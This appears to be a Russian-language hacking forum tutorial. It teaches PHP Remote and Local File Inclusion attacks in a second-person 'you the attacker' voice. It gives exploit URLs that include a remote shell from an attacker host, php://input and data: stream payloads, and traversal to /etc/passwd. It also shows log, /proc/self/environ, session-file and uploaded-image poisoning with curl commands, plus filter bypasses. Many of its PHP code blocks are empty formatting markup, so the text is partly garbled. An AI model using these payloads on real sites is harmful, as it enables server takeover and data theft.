В этом теме я надеюсь собрать максимально возможную информацию о (
Local |
Remote )
File Inclusion, и описать принцип работы более доступно для широких масс.
Для понимания о чем пойдет речь ниже, необходимо знать основу PHP и работу функций отвечающих за подключение файлов, а так же архитектуру каталогов в *nix системах, ну и наверное смекалку.
Начнем с того, что File Inclusion делится на две основные ветви.
- Remote File Inclusion.
- Local File Inclusion.
Основосоставляющая у них одна, это недостаточная фильтрация переменной
(читать как беспантовая фильтрация, на смом деле, очень плахая фильтрация), которая используется в функциях отвечающих за подключения файлов
(например функцииinclude(), require()), разница лишь в том, что в случае
Remote File Inclusion эта переменная
одна или стоит на первом месте (с лева на право) в вызове функции и в настройках PHP включены allow_url_fopen и allow_url_include, а
Local File Inclusion это
вообще присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.
Получается, представим например такой код:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Казалось бы этому горе кодеру, что юзер будет ходить только по заведомо указанным файлам, но оказалось, что ты не из числа тех юзеров, и твой пытливый ум предположил, что если вместо этих заведомо известных, подставить что-то свое, то...
Впрочем зачем говорить, ты берешь и делаешь:
httр://localhost/?переменная=Какая_гадость,_э та_ваша_заливная_рыба!
И вуаля, если принудительно никто не отключил сообщения об ошибках, то ты увидишь нечто похожее:
Код:
Warning: include(Какая_гадость,_эта_ваша_заливная_рыба!) [function.include]: failed to open stream: No such file or directory in /home/www/index.php on line 2
Warning: include() [function.include]: Failed opening '(Какая_гадость,_эта_ваша_заливная_рыба!' for inclusion (include_path='.;/etc/php/pear/') in /home/www/index.php on line 2
Если вывод ошибок все таки отключен, то это печально и ты ничего не увидишь
(или же в зависимости от ситуации в боевых условиях, какой-нибудь редирект или алерт). Воот.
Теперь ты имеешь полноценный
Remote File Inclusion, если настройки PHP удовлетворительно положительны
(смотреть выше), то записав в переменную ссылку на свой шелл, ты получишь полноценный шелл, т.е.:
httр://localhost/?переменная=http://сайт_где_у_нас.шелл/ну_и_сам.шелл
Как ты уже наверное догадался, после передачи переменной 'переменная', определенным методом
(в данном случае GET), в код, код принимает такой вид:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
со всеми вытекающими последствиями.
Ну а уж если настройки этого самого PHP очень скучны своими Offами, то ты имеешь дело с
Local File Inclusion, впрочем обо всем подробнее ниже.
Remote File Inclusion
Remote File Inclusion - это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:
Цитата:
Сообщение от None
allow_url_fopen = On
allow_url_include = On
|
Ты заходишь на сайт, а там такой код:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Эксплуатация проста до невозможности:
httр://localhost/?page=http://yourhost/shell.txt
Хотя это уже было... и ты сообщил всё горе-кодеру.
Не долго подумав, он решил, что если в скрипте используется подключение файла с явным
(так сказать навязанным) расширением , то его никто не взламает!
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Не тут-то было, обход довольно элегантен, ты просто обрезаешь всё знаком вопроса
( ? ) заставив интерпретатор думать, что всё что идет после знака вопроса это переменные:
httр://localhost/?page=http://yourhost/shell.txt? и опять сообщаешь кодеру.
Тот в полном негодовании о произошедшем в злости и с маленькими нервно-бегающими глазами, решил нахрен фильтровать протоколы HTTP и HTTPS полученные в переменных от пользователей:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]страниц'[/COLOR][COLOR="#007700"];die(); }
if([/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'http'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'https'[/COLOR][COLOR="#007700"]) {
include([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]]);
} else die([/COLOR][COLOR="#DD0000"]'Хакед дектед, уи-у-уи-у-уи-у'[/COLOR][COLOR="#007700"]);
...
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
Но не унывая и напрягаясь, ты вспоминаешь, что если фильтруются только два протокола HTTP и HTTPS, то можно использовать третий: FTP, с которым PHP так же работает:
httр://localhost/?page=ftp://user:рass@yourhost/shell.txt и с ухмылкой на лице, отправляешь очередной баг кодеру.
Горе-кодер, уже от беспомощности и непонимании происходящего, отфильтровал ВСЕ протоколы:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]страниц'[/COLOR][COLOR="#007700"];die(); }
if([/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'http'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'https'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'ftp'[/COLOR][COLOR="#007700"]) {
include([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]]);
} else die([/COLOR][COLOR="#DD0000"]'Хакед дектед, уи-у-уи-у-уи-у'[/COLOR][COLOR="#007700"]);
...
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
Ну что ж, тут тебе на помощь придут
потоки.
А кто это сделал? составляешь пакет и не медля ни минуты, отправляешь
Цитата:
Сообщение от None
POST httр://localhost/?page=
php://input
HTTP/1.1
Host: localhost
Content-length: 18
|
и о чудо, в ответ ты видишь результат выполнения функции
phpinfo() из которой ты берешь например пути до скрипта который собственно и вызвал эту функцию. Дальше формируешь и отправляешь еще один пакет, но уже с функцией "
ЗАЛИТЬ ШЕЛЛ НЕМЕДЛЕННО!!1", а именно , и если хватает прав на запись, то всё шелл тут
httр://localhost/придумай_имя_файла.php, если не хватает, то что уж, нет так нет
(читать как EPIC FAIL), ведь всегда можно залиться во временную папку /tmp и подключить шелл оттуда.
После проделанных телодвижений, тебя осенило! Ведь еще можно же заюзать URL-схему:
data (
перевод)
Выглядит это примерно так:
Код:
data:[][;charset=][;base64],
А на деле можно использовать так:
http://localhost/?page=data:,
Но если неугомонный кодер, очень жестко фильтрует полученные данные на всякие символы, то можно перевести всё в кодироку base64, а всякие плюсики и ровняшки
(если такие будут) еще и в URL закодировать:
httр://localhost/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D (хотя можно и подобрать без фильтруемых символов).
Ты сообщил о найденых багах горе-кодеру, и пошел спать. Проснувшись утром, и зайдя снова на этот сайт, ты понимаешь, что всё, на этом и заканчиваются возможности
Remote File Inclusion. Что теперь делать?
Local File Inclusion
Local File Inclusion - это подключение произвольного файла расположенного на локальном
(читать как атакуемом) сервере в работу уязвимого.
Проснувшись утром, и зайдя снова на этот сайт, ты видишь
(ты же наверняка нашел файл test.php, который содержит phpinfo(), давно забытый в корне сайта), что кодер, обезопасил себя, отключив allow_url_include в настройках PHP, мало того, он изменил код, указав в функции подключения файла полный путь до каталога вызываемого скрипта:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Понеслась конитель. Теперь тебе нужно сориентироваться на сервере, ты естественно знаешь, что сочетание двух точек
( .. ), обозначает подняться вверх на один каталог, а слэш
( / ), собственно сам каталог, т.е. если в командной строке выполнить команду
cd .. ты поднимешься на один каталог вверх, если cd ../.. ты поднимешься на два каталога вверх, и т.д. Так как, теперь в коде, функция подключения файла сначала полностью открывает путь
/home/www/, а затем указанный файл, то что бы открыть файл находящийся в другой директории, тебе нужно, выйти из текущего каталога:
httр://localhost/?page=../../../полный/путь/до/нужного/файла.
Здесь тебе пригодиться любой файл, который тебе пригодится
(тавтология же), а именно:[LIST][*]
не нарушающий синтаксис PHP кода.
(содержащий в себе подобие , кодируешь всё в url, составляешь и отправляешь пакет:
Цитата:
Сообщение от None
POST
httр://localhost/
epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E
HTTP/1.1
Host: localhost
|
А кто? Кто это сделал? Сервер, приняв и обработав запрос, выдает 404 ошибку
(о несуществующей страницы epicfaaaaaail.php), и записал это в
error_log, выглядеть на сервере это стало так:
Код:
127.0.0.1 - [29/Sep/2010:13:55:36 -0700] "GET /epicfaaaaaail.php? HTTP/1.1" 404 2326
т.е. получается, обратившись к этому логу, PHP интерпретатор обработает всё
до как обычный текст, а значит всё, шелл есть. Ты обращаешься к error_log:
httр://localhost/?page=../../../etc/httpd/log/error_log&cmd=phpinfo();die(); и ничуть не удивившись видишь результат выполнения phpinfo().
Думаю с логами веб-сервера проблем не должно возникнуть, так как их работа очевидна, запись всех ошибок возникших во время работы
(error_log) и запись вообще всех действий пользователей (
access_log), кстати в связи с тем что
access_log записывает всё, что только можно, его размеры порой ужасают. А если работа очевидна, то и ход действий понятен, а если ход действий понятен, тогда,
записываем то, что нужно,
так как получится,
подключаем и
заливаемся.
НО! Но не всё так просто как казалось бы, ведь горе-кодер, оказался еще и администратором сервера, по этому он очень надежно спрятал логи, от пытливых твоих глаз. Ну не знал он, ну правда не знал о системном каталоге
/proc, в котором лежат директории символизирующие запущенные процессы, в которых лежат файлы с информацией о процессе, и тем более о символической ссылке
self, которая символически так ссылается на текущий процесс, а текущий процесс, у нас запустил кто? Правильно ты, из под пользователя apache, а ведь запись логов, это тоже процесс, исходя из этой логике ты понимаешь, что искать логи безнадежно и можно получить доступ к ним напрямую, и тут же вспоминаешь
цитату из статьи M4Gа :
Цитата:
Сообщение от None
1. Через id процесса и ярлыки
/proc/%{PID}/fd/%{FD_ID}
Здесь: %{PID} - ид процесса (узнать можно, прочитав /proc/self/status), %{FD_ID} - ярлыки на соответствующие файлы (обычно 2 и 7 - логи апача).
Пример:
http://site.com/index.php?page=../../../../../../../../proc/self/status
Допустим, %{PID} равен 1228, тогда конечный эксплойт будет выглядеть следующим образом:
curl
"http://site.com/index.php?page=../../../../../../../../proc/1228/fd/2&cmd=phpinfo();"
-H "User-Agent: "
2. Напрямую, без узнавания id процесса
curl
"http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();"
-H "User-Agent: "
Этот способ более приемлем для тебя, так как "self" - это всегда текущий процесс, а в первом случае %{PID} имеет дурное свойство очень часто меняться. В обоих перечисленных способах, как и в любом другом LFI логов апача, эти самые логи, естественно, должны быть доступны для чтения.
|
Ты же понимаешь, что
/proc/self/status, часто бесполезен, из-за того что процессы бывают динамические и меняют свой PID, каждый раз при запуске процесса, по этому ты отбрасываешь первую часть, и пытаешься получить доступ к логам на прямую
/proc/self/fd/{N} - где {N} это имя ярлыка, и ты понимаешь, что обычно не значит везде, и перебираешь от 1 до 15. Настройки такие настройки, индивидуальные.
Удача не улыбается. Но ты не унываешь, ведь есть еще ярлык
cmdline, который отвечает за информацию о запуске процесса:
httр://localhost/?page=../../../proc/self/cmdline
Цитата:
Сообщение от None
/usr/sbin/httpd-d/usr/lib/httpd/etc/httpd/conf/httpd.conf-kstart
|
И видишь, что конфиг веб-сервера, находится тут:
/etc/httpd/conf/httpd.conf, который щедро одарит тебя путями до логов.
Файлы содержащие переменные окружения.
Просмотрев весь список процессов, и не найдя логи, ты естественно не унываешь, ведь у тебя еще куча методов, и ты вспоминаешь про файлы содержащие переменные окружения, глупо конечно называть один файл, во множественном числе, но он один, и это
environ, который так же находится в каталоге с процессами
/proc/self. Он содержит в себе информацию о среде который запустил процесс, а именно в твоем случае, это информация о твоём браузере. Недолго думая ты открываешь:
httр://localhost/?page=../../../proc/self/environ и видишь:
Код:
SERVER_SIGNATURE=
UNIQUE_ID=TKQvDFuVnSoAAAmXQA4AAAB3
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
SERVER_PORT=80
HTTP_HOST=localhost
REDIRECT_HANDLER=application/x-httpd-php5
DOCUMENT_ROOT=/home/www
HTTP_ACCEPT_CHARSET=windows-1251,utf-8;q=0.7,*;q=0.3
SCRIPT_FILENAME=/usr/local/cpanel/cgi-sys/php5
REQUEST_URI=/index.php?page=../../../proc/self/environ
SCRIPT_NAME=/cgi-sys/php5
HTTP_CONNECTION=keep-alive
PH_INFO=/index.php
REMOTE_PORT=42814
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/usr/local/cpanel/cgi-sys
SERVER_ADMIN=admin@localhost
EDIRECT_STATUS=200
REDIRECT_QUERY_STRING=page=../../../proc/self/environ
HTTP_ACCEPT_LANGUAGE=ru-RU,ru;q=0.8,enS;q=0.6,en;q=0.4
PATH_TRANSLATED=/home/www/index.php
HTTP_ACCEPT=application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
REMOTE_ADDR=127.0.0.1
SHLVL=
0SERVER_NAME=localhost
SERVER_SOFTWARE=Apache
QUERY_STNG=page=../../../proc/self/environ
SERVER_ADDR=127.0.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
REDIRECT_URL=/index.php
REQUEST_METHOD=GET
Из этих данных ты можешь управлять всем тем, что твой браузер отправляет на сервер, а значит, ты можешь записать и выполнить свой код. Что же тянуть, ты составляешь запрос и отправляешь его:
Цитата:
Сообщение от None
POST
httр://localhost/?page=
../../../proc/self/environ
HTTP/1.1
User-Agent:
Host: localhost
|
И опять успешно, ведь сервер схавал и переварил всё, что он получил, получается, что сначала создался процесс, и вся информации о среде процесса записалась в файл
environ, после чего уязвимый скрипт подключил этот файл, очевидно же.
Файлы сессии.
ТЫСЯЧИ ЧЕРТЕЙ! Не один из способов не сработал до сих пор, логи ты не нашел, на каталог
/proc тебе хватило прав. Что делать? Полазив по сайту ты нашел чат
(форму авторизации/гостевую/еще что-то), логика его работы примерно такая, ты ввел свое имя, написал несколько сообщений, закрыл окно, после чего, каждый раз как ты туда зайдешь, ты будешь заходить под своим именем, примерный код:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
После ввода имени, PHP запишет введенные данные в файл сессии во временном хранилище
(место положении которого можно узнать из phpinfo() директива session.save_path, по дефолту каталог /tmp)
Цитата:
Сообщение от None
name|s:8:"Введенные данные";
|
и в ответ браузеру отправляет айди сессии в куках
(Cookie: PHPSESSID=АЙДИ), за счет чего и проиходит работы.
Ты конечно же вместо именни ввел , это значит что создался файл сессии с таким содержанием:
Цитата:
Сообщение от None
name|s:8:"";
|
Тебе ничего не осталось, как взять айди этой сессии, и подключить её:
httр://localhost/?page=../../../tmp/sess_тут_айди_сессии&cmd=phpinfo();
После проделаной махинации, ты приклеел на холодильник заметку "
%username% не забудь, подключать сессии возможно только при условии: session.save_handler = files!".
Загружаемые пользователем файлы.
Здесь ты сразу догадался, вспомнив, что на сайте же есть возможность загружать фотографии своих домашних питомцев. Нагуглив картинку подходящего сайза, скачав и открыв в блакноте, ты записал туда всё тот же шелл , загрузил на сервер, и подключил её:
httр://localhost/?page=/папка_с_картинками/твоя.картинка&cmd=phpinfo();
Другие файлы.
Здесь ты не стал заморачиваться, просто вспомнил
статью slasha и сделал всё так, как он там рассказал.
Ну вот, казалось бы и всё, ты сделал все свои грязные делишки, о которых в последствии по пьяни рассказал своему другану Васи
(который и был тем самым горе кодером).
Васёк, жизнью наученный, решил кардинально побеспокоиться о безопасности, он решил переписать код. Загуглив информацию о Local File Inclusion, он узнал, что если его код будет навязывать расширение:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
То это легко обойдется Null-байтом, который обрежет всё, что после него идет:
httр://localhost/?page=../../../etc/passwd%00 и включил
magic_quotes_gpc.
Вовремя он заметил, что нашлась альтернатива Null-байту, прочитав статьи
тут про саму альтернативу и
вот тут, как льтернативу альтернативе Null-байту
Дальше, Васёк, было дело решил вырезать из полученных данных все слэши
( / ):
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/..\//'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]]);
[/COLOR][/COLOR]
Но узнал, что обратный слэш
( \ ), ничуть не хуже замена обычному:
httр://localhost/?page=..\..\..\etc\passwd, плюс ко всему увидел
много других способов.
В последствии, Васёк написал хорошую фильтрацию входящих переменных. А ты? А ты ищи другие способы, их обхода.
Источники из которых была взята информация, или очень полезные:
1. /thread89082.html
2. http://raz0r.name/articles/null-byte-alternative/
3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
4. http://wiki.apache.org/httpd/DistrosDefaultLayout
5. https://rdot.org/forum/showpost.php?p=6942&postcount=29
6. /thread71902.html
7. http://www.xakep.ru/post/49508/
Очень хотелось бы, если бы в комментариях была не только критика, но и дополнения.